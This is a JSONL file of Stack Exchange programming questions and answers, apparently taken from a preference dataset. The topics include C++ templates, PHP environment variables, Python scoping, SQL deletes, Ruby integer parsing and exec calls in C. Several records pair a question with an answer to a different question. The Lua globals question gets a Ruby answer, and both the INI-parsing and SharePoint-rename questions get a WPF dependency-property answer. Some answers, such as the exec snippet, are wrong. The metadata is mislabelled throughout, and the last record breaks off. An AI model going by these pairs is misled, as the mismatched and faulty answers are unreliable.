{"id": "hf_0e2ba6529199", "question": "<p>I have a templated class defined (in part) as</p>\n\n<pre><code>template &lt;class T&gt; MyClass\n{\npublic:\n   void DoSomething(){}\n};\n</code></pre>\n\n<p>If I want to call DoSomething from another class, but be able to do this for multiple 'T' types in the same place, I am stuck for an idea as method functions pointers are uniquely constrained to the class type. Of course, each MyClass is a different type, so I can not store function pointers to MyClassDoSomething() in a 'polymorphic' way.</p>\n\n<p>My use-case is I want to store, in a holding class, a vector of function pointers to 'DoSomething' such that I can issue a call to all stored classes from one place.</p>\n\n<p>Has anyone any suggestions?</p>\n", "question_body": "", "answer": "Ok, so the functor solution doesn't work as you need. Perhaps you should have your template class inherit from a common base \"Interface\" class. And then you use a vector of those.\nSomething like this:\n```\n```\nclass Base { \npublic:\n  virtual ~Base(){}\n  virtual void DoSomething() = 0;\n}\n\ntemplate <class T> class MyClass : public Base {\npublic:\n    void DoSomething(){}\n};\n\nstd::vector<Base *> objects;\nobjects.push_back(new MyClass<int>);\nobjects.push_back(new MyClass<char>);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:46.406244"}
{"id": "hf_cdad52a662ef", "question": "<p>With a huge influx of newbies to Xcode, I'm sure there are lots of Xcode tips and tricks to be shared.</p>\n\n<p>What are yours? </p>\n", "question_body": "", "answer": "⌘ Command\n+\n```\nDouble-Click on a symbol\n```\n: Jump to Definition of a symbol.\n⌥ Option\n+\n```\nDouble-Click on a symbol\n```\n: Find Text in Documentation of a symbol. (Only works if you have they symbol's Doc Set installed.)\nFavorites Bar:\nFavorites bar is just like you have in Safari for storing - well - favorites. I often use it as a place to store shortcuts (which you can do by drag-dropping) to files I am using right now. Generally this is more useful when I'm working with a large or unfamiliar project.\nTo show the Favorites Bar, select the following menu option:\n```\nView\n```\n>\n```\nLayout\n```\n>\n```\nShow Favorites Bar\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:46.441902"}
{"id": "hf_9a474234881b", "question": "<p>Are there some principles of organizing classes into namespaces?</p>\n\n<p>For example is it OK if classes from namespace N depends on classes from N.X?\nAnd if classes from N.X depends on classes from N?</p>\n", "question_body": "", "answer": "Classes in\n```\nN.X\n```\ncan rely on classes in\n```\nN\n```\n. But classes in\n```\nN\n```\nshouldn't rely on classes in\n```\nN.X\n```\n; that's bad design.\nSome namespace guidelines:\nNamespace Naming Guidelines\nNames of Namespaces", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:46.465543"}
{"id": "hf_227cec6ca0a2", "question": "<p>I'd like to automatically change my database connection settings on a per-vhost basis, so that I don't have to edit any PHP code as it moves from staging to live and yet access different databases. This is on a single dedicated server.</p>\n\n<p>So I was wondering, can I set a PHP variable or constant in httpd.conf as part of the vhost definition that the site can then use to point itself to a testing database automatically?</p>\n\n<pre><code>$database = 'live';\nif (some staging environment variable is true) {\n    $database = 'testing'; // and not live\n}\n</code></pre>\n\n<p>If this isn't possible, I guess in this case I can safely examine the hostname I'm running on to tell, but I'd like something a little less fragile</p>\n\n<p>Hope this makes sense</p>\n\n<p>many thanks</p>\n\n<p>Ian</p>\n", "question_body": "", "answer": "Yep...you can do this:\n```\n```\nSetEnv DATABASE_NAME testing\n```\n```\nand then in PHP:\n```\n```\n$database = $_SERVER[\"DATABASE_NAME\"];\n```\n```\nor\n```\n```\n$database = getenv(\"DATABASE_NAME\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:46.525750"}
{"id": "hf_532ff52ca07a", "question": "<p>I am trying to figure out this:</p>\n\n<pre><code>c = 1\ndef f(n):\n    print c + n \ndef g(n):\n    c = c + n\n\nf(1) # =&gt; 2\ng(1) # =&gt; UnboundLocalError: local variable 'c' referenced before assignment\n</code></pre>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "Within a function, variables that are assigned to are treated as local variables by default. To assign to global variables, use the\n```\nglobal\n```\nstatement:\n```\n```\ndef g(n):\n    global c\n    c = c + n\n```\n```\nThis is one of the quirky areas of Python that has never really sat well with me.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:46.560002"}
{"id": "hf_010cf060194d", "question": "<p>I work for a small web development company (only 2 to 3 developers) that work on a wide range of projects for different customers (everything from CMS's to eCommerce sites). </p>\n\n<p>Usually we work on our own projects but occasionally we need to work together on one. We use subversion as our source control software and sites are developed in .NET using VS 2008 and SQL 2005.</p>\n\n<p>After reading through plenty of posts regarding unit testing and other \"enterprise\" level coding practices I was wondering what other developers do for small projects that only require minimal maintenance and have short development times?</p>\n\n<p>I am thinking in particular of things like is unit testing necessary, etc.</p>\n", "question_body": "", "answer": "Unit testing IS necassary no matter what. If you write code, you unit test. I work by myself alot too. I still test. I dont know how I ever wrote code before it.\nHeres the way I look at it. you dont necassarily need the same expensive tools as the big boys, but if you want to be big, you have to think big. Do the same htings, follow the same practices. As your needs grow, get better tools. For example, if you do any UML diagramnming, you porbably dont need any saftware. Just a whiteboard/paper. But still use UML. When your needs grow, you can look at getting special software.\nEven project management. You dont necassarily need the expensive tools to track projects, as long as you do it. As your needs grow, you can get specialized softwaare.\nIn short, do the same things you would do if you were bigger, but you dont necassarily need the same tools. Aquire as needed.\nEDIT: I should mention though that some of what you do of course is dependant on your methodolies/processes that you use. For example, do you do agile development? Being small you dont necassarily need to do everything exactly the same. For example, I try to be agile, but I obviously dont pair program :). You just need to learn to adapt them to what works for you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:46.581437"}
{"id": "hf_45ebcdf5d9a1", "question": "<p>I have just started reading Introduction to 80x86 Assembly Language and Computer Architecture.I am trying to use NASM, to run the first example shown in chapter 3 ,but unsuccessfully.Has anyone read the book,and run the examples?</p>\n", "question_body": "", "answer": "According to Google Books, you should be using\nMASM\n, not NASM. Try that.\nFor reference guys, page 47\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:46.614341"}
{"id": "hf_82e013bbe1f6", "question": "<p>I'd like to get <strong>uniform distribution</strong> in range [0.0, 1.0)</p>\n\n<p>If possible, please let the implementation make use of random bytes from <strong>/dev/urandom.</strong></p>\n\n<p>It would also be nice if your solution was <strong>thread-safe</strong>. If you're not sure, please indicate that.</p>\n\n<p>See <a href=\"https://stackoverflow.com/questions/146387#149814\">some solution</a> I thought about after reading other answers.</p>\n", "question_body": "", "answer": "```\n```\n#include <stdlib.h>\nprintf(\"%f\\n\", drand48());\n```\n```\n/dev/random:\n```\n```\ndouble c;\nfd = open(\"/dev/random\", O_RDONLY);\nunsigned int a, b;\nread(fd, &a, sizeof(a));\nread(fd, &b, sizeof(b));\nif (a > b)\n   c = fabs((double)b / (double)a);\nelse\n    c = fabs((double)a / (double)b);\n```\n```\nc is your random value", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:46.665359"}
{"id": "hf_85c192e1b033", "question": "<p>I am thinking of changing my web site's homegrown search engine. Before I break out Visual Studio, I wondered if anyone can suggest an alternative that gives me what I need. This being:</p>\n\n<ul>\n<li>Works with an ASP.NET site (is a .NET project)</li>\n<li>Creates a file-based index</li>\n<li>Fast search across hundreds or thousands of pages</li>\n<li>Performs word-stemming to find variations upon words</li>\n<li>Gives full control over the output styles</li>\n<li>Is cheap (or better still, free!)</li>\n</ul>\n", "question_body": "", "answer": "You can't really beat\nGoogle Site Search\nfor this.  It's fully customizable - and no need for embedding or maintaining.\nEDIT: found this\nASP.NET opensource search engine\nthat you can take and run with, In response to your comment about knowing what google does, this is\nwell documented and they have TONS of webmaster tools for you\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:46.687503"}
{"id": "hf_27349a556677", "question": "<p>In python you can use a tuple in a formatted print statement and the tuple values are used at the indicated positions in the formatted string.  For example:</p>\n\n<pre><code>&gt;&gt;&gt; a = (1,\"Hello\",7.2)\n&gt;&gt;&gt; print \"these are the values %d, %s, %f\" % a\nthese are the values 1, Hello, 7.200000\n</code></pre>\n\n<p>Is there some way to use any array or collection in a java printf statement in a similar way?</p>\n\n<p>I've looked at the <a href=\"http://java.sun.com/javase/6/docs/api/java/util/Formatter.html#syntax\" rel=\"nofollow noreferrer\">documentation</a> and it appears to have built in support for some types like Calendar, but I don't see anything for collections.  </p>\n\n<p>If this isn't provided in java, is there any java idiom that would be used in a case like this where you are populating collections and then printing the values from many collections using one format string (other than just nested looping)?</p>\n", "question_body": "", "answer": "printf will have a declaration along the lines of:\n```\n```\npublic PrintString printf(String format, Object... args);\n```\n```\n... means much the same as\n```\n[]\n```\n. The difference is\n```\n...\n```\nallows the caller to omit explicitly creating an array. So consider:\n```\n```\nout.printf(\"%s:%s\", a, b);\n```\n```\nThat is the equivalent of:\n```\n```\nout.printf(\"%s:%s\", new Object[] { a, b });\n```\n```\nSo, getting back to your question, for an array, you can just write:\n```\n```\nout.printf(\"%s:%s\", things);\n```\n```\nFor a collection:\n```\n```\nout.printf(\"%s:%s\", things.toArray());\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:46.706483"}
{"id": "hf_ae9008bcd775", "question": "<p>I can't figure out a use case for being able to annotate interfaces in Java. </p>\n\n<p>Maybe someone could give me an example?</p>\n", "question_body": "", "answer": "More an example, but\nLocal\nand\nRemote\nannotations in EJB3. According to the java doc,\nWhen used on an interface, designates\n  that interface as a local business\n  interface.\nI guess the use case here is that the interface has a special function best denoted by an annotation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:46.726804"}
{"id": "hf_73d68669fc39", "question": "<p>I have a file temp.txt, that I want to sort with the <code>sort</code> command in bash.</p>\n\n<p>I want the sorted results to replace the original file.</p>\n\n<p>This doesn't work for example (I get an empty file):</p>\n\n<pre><code>sortx temp.txt &gt; temp.txt\n</code></pre>\n\n<p>Can this be done in one line without resorting to copying to temporary files?</p>\n\n<hr>\n\n<p>EDIT: The <code>-o</code> option is very cool for <code>sort</code>. I used <code>sort</code> in my question as an example. I run into the same problem with other commands:</p>\n\n<pre><code>uniq temp.txt &gt; temp.txt.\n</code></pre>\n\n<p>Is there a better general solution?</p>\n", "question_body": "", "answer": "Read up on the non-interactive editor,\n```\nex\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:46.748701"}
{"id": "hf_b1d91cb98906", "question": "<p>Here's the idea, I'd like to make a service? that will look for a certain program starting up and dissallow it unless certain conditions are met.  </p>\n\n<p>Let's say I have a game I want to stop myself from playing during the week. So if I start it up on any day other than Friday/Saturday/Sunday, it will intercept and cancel.  Is this possible with C#?</p>\n\n<p>Main thing I am looking for is how to catch a program starting up, rest should be easy.</p>\n", "question_body": "", "answer": "I'm not sure if you can catch it starting up, but you could try to look for the program in the list of windows (was it ENUM_WINDOWS? I can never remember) and shut it down as soon as it shows up.\nYou could probably even do this in AutoIt!\nDrag out the Petzold and have some fun with windows...\nEDIT:\nCheck out sysinternals for source on how to list the active processes - do this in a loop and you can catch your program when it starts. I don't think the official site still has the source though, but it's bound to be out there somewhere...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:46.771004"}
{"id": "hf_095e0d2958c2", "question": "<p>I've come across this term POD-type a few times.<br>\nWhat does it mean? </p>\n", "question_body": "", "answer": "POD\nstands for\nPlain Old Data\n- that is, a class (whether defined with the keyword\n```\nstruct\n```\nor the keyword\n```\nclass\n```\n) without constructors, destructors and virtual members functions.\nWikipedia's article on POD\ngoes into a bit more detail and defines it as:\nA Plain Old Data Structure in C++ is an aggregate class that contains only PODS as members, has no user-defined destructor, no user-defined copy assignment operator, and no nonstatic members of pointer-to-member type.\nGreater detail can be found in\nthis answer for C++98/03\n. C++11 changed the rules surrounding POD, relaxing them greatly, thus\nnecessitating a follow-up answer here\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:46.793545"}
{"id": "hf_8f51b4feb738", "question": "<p>Can some one specify the windows API, one need to use in order to be able to change programmatically the screen refresh rate?</p>\n", "question_body": "", "answer": "I found this via a google search. Hope it helps some.\nhttp://www.codeproject.com/KB/winsdk/changerefresh.aspx\nhttp://msdn.microsoft.com/en-us/library/ms533260(VS.85).aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:46.830624"}
{"id": "hf_c6ffcc18e923", "question": "<p>Say I'm writing some ruby code and I want to use the standard Date type to get the current date. Instead of using a search engine, is there a faster way to find the documentation for this class?  I know I can get the methods for Date by typing <code>Date.methods</code>, but as far as I know this doesn't provide details about argument types or return value.</p>\n\n<p>Editor-specific answers are welcomed.  My editor of choice is Emacs.</p>\n", "question_body": "", "answer": "On your console use \"ri\"\n```\n```\nri Date\n```\n```\nThat works with all classes. (e.g. ri String)\nTo see documentation for a particular method you use this:\n```\n```\nri Date#yourMethod\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:46.897267"}
{"id": "hf_cf06a0981804", "question": "<p>I have a SQL table with news stories and Unix timestamps. I'd like to only keep the 50 newest stories. How would I write an SQL statement to delete any amount of older stories?</p>\n", "question_body": "", "answer": "Blockquote\n```\n```\ndelete from table where id not in (\n    select id from table \n    order by id desc \n    limit 50\n)\n```\n```\nYou select the ids of the data you don't want to delete, and the you delete everything NOT IN these value...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:46.920072"}
{"id": "hf_0fc66cf0d1a8", "question": "<p>I have a couple of header files, which boil down to:</p>\n\n<p>tree.h:</p>\n\n<pre><code>#include \"element.h\"\n\ntypedef struct tree_\n{\n    struct *tree_ first_child;\n    struct *tree_ next_sibling;\n    int tag;\n    element *obj;\n    ....\n} tree;\n</code></pre>\n\n<p>and element.h:</p>\n\n<pre><code>#include \"tree.h\"\n\ntypedef struct element_\n{\n    tree *tree_parent;\n    char *name;\n    ...\n} element;\n</code></pre>\n\n<p>The problem is that they both reference each other, so tree needs element to be included, and element needs tree to be included.</p>\n\n<p>This doesn't work because to define the 'tree' structure, the element structure must be already known, but to define the element structure, the tree structure must be known.</p>\n\n<p>How to resolve these types of loops (I think this may have something to do with 'forward declaration'?)?</p>\n", "question_body": "", "answer": "These are known as \"once-only headers.\" See\nhttp://developer.apple.com/DOCUMENTATION/DeveloperTools/gcc-4.0.1/cpp/Once_002dOnly-Headers.html#Once_002dOnly-Headers", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:47.087400"}
{"id": "hf_9f1cb353e0a0", "question": "<p>Has anyone successfully built an Adobe Air application with Maven?  If so, what are the steps to get it working?</p>\n\n<p>I have been trying to use <a href=\"http://code.google.com/p/flex-mojos/\" rel=\"noreferrer\">flex-mojos</a> to build an Air applications.  When I set the packaging type to \"aswf\", as suggested in the <a href=\"http://code.google.com/p/flex-mojos/wiki/DashboardSamplePom\" rel=\"noreferrer\">DashboardSamplePom</a>, Maven complains that aswf is an unknown packaging type.  I also found their <a href=\"http://svn.sonatype.org/flexmojos/repository/info/flex-mojos/air-super-pom/2.0-alpha4/air-super-pom-2.0-alpha4.pom\" rel=\"noreferrer\">air-super-pom</a>, but could not figure out how to reference it as the parent of my POM.</p>\n", "question_body": "", "answer": "When a plugin declares a new packaging type, like 'aswf', you need to declare it as an extension. In your top-level pom, add the extensions element to the plugin config.\n```\n```\n<plugin>\n  <groupId>...</groupId>\n  <artifactId>...</artifactId>\n  <extensions>true</extensions>\n...\n</plugin>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:47.121691"}
{"id": "hf_54348c1acef5", "question": "<p>In ruby I am parsing a date in the following format: 24092008.\nI want to convert each section (year, month, date) into a number.</p>\n\n<p>I have split them up using a regex which produces three Strings which I am passing into the Integer constructor.</p>\n\n<pre><code>  date =~ /^([\\d]{2})([\\d]{2})([\\d]{4})/\n  year = Integer($3)\n  month = Integer($2)\n  day = Integer($1)\n</code></pre>\n\n<p>When it hits the month line it crashes as follows:</p>\n\n<pre><code>`Integer': invalid value for Integer: \"09\" (ArgumentError)\n</code></pre>\n\n<p>It took me a while to realise that it's interpreting the leading zero as Octal and 09 is not a valid Octal number (it works fine with \"07\").</p>\n\n<p>Is there an elegant solution to this or should I just test for numbers less than 10 and remove the zero first?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "I'm not familiar with regexes, so forgive me if this answer's off-base.  I've been assuming that $3, $2, and $1 are strings.  Here's what I did in IRB to replicate the problem:\n```\n```\nirb(main):003:0> Integer(\"04\")\n=> 4\nirb(main):004:0> Integer(\"09\")\nArgumentError: invalid value for Integer: \"09\"\n    from (irb):4:in `Integer'\n    from (irb):4\n    from :0\n```\n```\nBut it looks like .to_i doesn't have the same issues:\n```\n```\nirb(main):005:0> \"04\".to_i\n=> 4\nirb(main):006:0> \"09\".to_i\n=> 9\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:47.144597"}
{"id": "hf_1df1b6e3e806", "question": "<p>Puzzled by the Lua 5.0 documentation references to things like <code>_LOADED</code>, <code>LUA_PATH</code>, <code>_ALERT</code> and so on (that I could not use in Lua 5.1), I discovered all of those have been removed and the functionality put elsewhere. Am I right in thinking that the only one global variable left in Lua 5.1 is <code>_VERSION</code>?</p>\n", "question_body": "", "answer": "I'm not familiar with regexes, so forgive me if this answer's off-base.  I've been assuming that $3, $2, and $1 are strings.  Here's what I did in IRB to replicate the problem:\n```\n```\nirb(main):003:0> Integer(\"04\")\n=> 4\nirb(main):004:0> Integer(\"09\")\nArgumentError: invalid value for Integer: \"09\"\n    from (irb):4:in `Integer'\n    from (irb):4\n    from :0\n```\n```\nBut it looks like .to_i doesn't have the same issues:\n```\n```\nirb(main):005:0> \"04\".to_i\n=> 4\nirb(main):006:0> \"09\".to_i\n=> 9\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:47.167694"}
{"id": "hf_7687a8bb45e1", "question": "<p>So I'm programming along in a nice, up to date, object oriented fashion. I regularly make use of the various aspects of OOP that PHP implements but I am wondering when might I need to use closures. Any experts out there that can shed some light on when it would be useful to implement closures?</p>\n", "question_body": "", "answer": "When you will need a function in the future which performs a task that you have decided upon now.\nFor example, if you read a config file and one of the parameters tells you that the\n```\nhash_method\n```\nfor your algorithm is\n```\nmultiply\n```\nrather than\n```\nsquare\n```\n, you can create a closure that will be used wherever you need to hash something.\nThe closure can be created in (for example)\n```\nconfig_parser()\n```\n; it creates a function called\n```\ndo_hash_method()\n```\nusing variables local to\n```\nconfig_parser()\n```\n(from the config file). Whenever\n```\ndo_hash_method()\n```\nis called, it has access to variables in the local scope of\n```\nconfig_parser()\n```\neven though it's not being called in that scope.\nA hopefully good hypothetical example:\n```\n```\nfunction config_parser()\n{\n    // Do some code here\n    // $hash_method is in config_parser() local scope\n    $hash_method = 'multiply';\n\n    if ($hashing_enabled)\n    {\n        function do_hash_method($var)\n        {\n            // $hash_method is from the parent's local scope\n            if ($hash_method == 'multiply')\n                return $var * $var;\n            else\n                return $var ^ $var;\n        }\n    }\n}\n\nfunction hashme($val)\n{\n    // do_hash_method still knows about $hash_method\n    // even though it's not in the local scope anymore\n    $val = do_hash_method($val)\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:47.223914"}
{"id": "hf_87e3b47a719c", "question": "<p>I need to store a list of key value pairs of (integer, boolean) in .NET</p>\n\n<p>When I use a dictionary it re-orders them.  Is there a built in collection that will handle this.</p>\n", "question_body": "", "answer": "```\n```\nList<KeyValuePair<int, bool>> l = \n                        new List<KeyValuePair<int, bool>>();\n    l.Add(new KeyValuePair<int, bool>(1, false));\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:47.267362"}
{"id": "hf_72b418ee41a1", "question": "<p>For some reason when I create a new namespace in Visual Studio 2008 its not being recognized. I'm using asp.net mvc, I don't know if that has anything to do with it. </p>\n\n<p>Has anyone come across this before?...and how do you fix it?\nAlso is there a way to force Visual Studio to maybe re-examine new namespaces?</p>\n\n<p><strong>Answer:</strong>\nI figured out the problem...<a href=\"https://stackoverflow.com/questions/146745/why-are-user-created-namespaces-not-being-recognized-by-visual-studio-2008#146883\">check it</a>.</p>\n", "question_body": "", "answer": "Questions:\nIs the namespace and class thats not being picked up in the same project or is it referenced?\nIs this a vb or a c# project? - I cant remember which way round (think its c#) but one of them defaults the root namespace to the project name. You can run into problems or get a confusing namespace e.g MyProject.MyProject if you create one at the same level of the root namespace.\nCouple of things to try:\nPress ctrl alt b to rebuild the project does it pick up the namespace?\nAdd a new method to an existing class that is working - is this picked up?\nTry creating a completley different namespace is this picked up e.g.\nnamespace StackOverflow.Test\n{\n}\nFinally have seen studio not pick up new namespaces and methods when its not compiling properly. This can be due to NTFS permissions and read only permissions. Check the build date of the dll. You can also try clearing ASP.net temporary files.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:47.304881"}
{"id": "hf_87ec8938d3b4", "question": "<p>What are the best SNMP libraries to use with .NET?  Specifically for listening for traps or sending set or get requests.</p>\n", "question_body": "", "answer": "here's a library and a few examples\nhttp://www.c-sharpcorner.com/UploadFile/malcolmcrowe/SnmpLib11232005011613AM/SnmpLib.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:47.349789"}
{"id": "hf_5932a645e3cb", "question": "<p>Specifically, when you create an interface/implementor pair, and there is no overriding organizational concern (such as the interface should go in a different assembly ie, as recommended by the s# architecture) do you have a default way of organizing them in your namespace/naming scheme?</p>\n\n<p>This is obviously a more opinion based question but I think some people have thought about this more and we can all benefit from their conclusions.</p>\n", "question_body": "", "answer": "What I generally do is to create an Interfaces namespace at a high level in my hierarchy and put all interfaces  in there (I do not bother to nest other namespaces in there as I would then end up with many namespaces containing only one interface).\n```\n```\nInterfaces\n|--IAnimal\n|--IVegetable\n|--IMineral\nMineralImplementor\nOrganisms\n|--AnimalImplementor\n|--VegetableImplementor\n```\n```\nThis is just the way that I have done it in the past and I have not had many problems with it, though admittedly it might be confusing to others sitting down with my projects.  I am very curious to see what other people do.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:47.373244"}
{"id": "hf_c8205dda202b", "question": "<p>I can't use the <code>Get*Profile</code> functions because I'm using an older version of the Windows CE platform SDK which doesn't have those. It doesn't have to be too general.</p>\n\n<pre><code>[section]\nname = some string\n</code></pre>\n\n<p>I just need to open the file, check for the existence of \"section\", and the value associated with \"name\". Standard C++ is preferred.</p>\n", "question_body": "", "answer": "I don't think you can un-register a dependency property but you can redefine it by overriding the metadata like this:\n```\n```\nMyDependencyProperty.OverrideMetadata(typeof(MyNewType), \n                     new PropertyMetadata());\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:47.426392"}
{"id": "hf_b3a10a707d40", "question": "<p>I am using virtual machines for development,but each time I need a new VM, I copy the file and create a new server, but I need a new name for the server to add it to our network.</p>\n\n<p>After renaming the server, the Sharepoint sites have many errors and do not run.</p>\n", "question_body": "", "answer": "I don't think you can un-register a dependency property but you can redefine it by overriding the metadata like this:\n```\n```\nMyDependencyProperty.OverrideMetadata(typeof(MyNewType), \n                     new PropertyMetadata());\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:47.449245"}
{"id": "hf_e462a8f1cf13", "question": "<p>I have a project the requires the use of the exec family. My project consist of making an interactive shell. The shell will implement a few basic commands like cd, ls, echo, etc. I have been researching the use of exec, but have not found a useful site. Any suggested links would help.</p>\n\n<pre><code>int ret;\nret = execl (\"/bin/ls\", \"ls\", \"-1\", (char *)0);\n</code></pre>\n\n<p>How would i get the output of this operation to show on the screen?</p>\n", "question_body": "", "answer": "doing\n```\n```\nint fd = 1;\ndup(fd);\nclose(fd);\n```\n```\ngets the output to the screen.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:47.494851"}
{"id": "hf_7133d841865c", "question": "<p>I am a firm believer in the idea that one of the most important things you get from learning a new language is not how to use a new language, but the knowledge of concepts that you get from it. I am not asking how important or useful you think Assembly is, nor do I care if I never use it in any of my real projects. </p>\n\n<p>What I want to know is what concepts of Assembly do you think are most important for any general programmer to know? It doesn't have to be directly related to Assembly - it can also be something that you feel the typical programmer who spends all their time in higher-level languages would not understand or takes for granted, such as the CPU cache.</p>\n", "question_body": "", "answer": "Memory, registers, jumps, loops, shifts and the various operations one can perform in assembler.  I don't miss the days of debugging my assembly language class programs - they were painful! - but it certainly gave me a good foundation.\nWe forget (or never knew, perhaps) that all this fancy-pants stuff that we use today (and that I love!) boils down to all this stuff in the end.\nNow, we can certainly have a productive and lucrative career without knowing assembler, but I think these concepts are good to know.", 